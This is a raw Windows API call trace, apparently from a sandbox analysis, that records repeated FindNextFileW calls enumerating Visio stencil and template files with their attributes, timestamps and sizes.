	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f71300, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x55f71300, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTHKT_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61e2d500, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x61e2d500, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CABNT_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9d6a00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c9d6a00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CABNT_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98b8eb00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506c9880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x98b8eb00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x19f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55758e00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x506c9880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x55758e00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_M.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbede8b00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbede8b00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x19da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59091500, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x59091500, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR_U.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6059900, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc6059900, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALOUT_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd2ca700, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506ef9e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcd2ca700, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALOUT_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf8f0100, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf8f0100, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb018e500, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb018e500, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_M.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3228800, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3228800, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60ec600, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb60ec600, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAUSEF_U.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b98b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x69b98b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEILPL_M.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7342f300, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7342f300, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEILPL_U.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafa0c00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeafa0c00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d67a00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76d67a00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_M.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x402bd00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x402bd00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a6a0100, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50715b40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7a6a0100, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHART_U.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f89e00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9f89e00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dfd8800, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dfd8800, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_M.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd5200, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xebd5200, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x805fe200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x805fe200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMOLE_U.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPLN_M.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPLN_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d0b6e00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d0b6e00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x3de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPS_M.VSS", cAlternateFileName="")) returned 1
	[0053.263] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2694d600, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2694d600, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x3c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPS_U.VSS", cAlternateFileName="")) returned 1
	[0053.263] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85249600, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85249600, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONLOG_M.VST", cAlternateFileName="")) returned 1
	[0053.263] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e94a00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x89e94a00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONLOG_U.VST", cAlternateFileName="")) returned 1
	[0053.263] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33b1c500, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x33b1c500, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONNEC_M.VSS", cAlternateFileName="")) returned 1
	[0053.263] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43310e00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43310e00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x34600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONNEC_U.VSS", cAlternateFileName="")) returned 1
	[0053.263] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d5f700, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78d5f700, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x89200, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUBICL_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad49b300, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad49b300, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x8ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUBICL_U.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20e6700, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb20e6700, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4ba400, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8c4ba400, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_M.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8044800, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb8044800, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_U.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdf2b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50761e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8fdf2b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATFLO_U.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91105800, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x91105800, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATMOD_M.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9372b200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9372b200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATMOD_U.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d50c00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95d50c00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBMODL_M.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99689300, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x99689300, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBMODL_U.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdfa2900, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbdfa2900, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGICON_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bedd00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2bedd00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGICON_U.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23e2600, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd23e2600, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIMARC_U.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ee9c00, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2ee9c00, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIMENG_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf26de500, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf26de500, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x2d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DIMENG_U.VSS", cAlternateFileName="")) returned 1
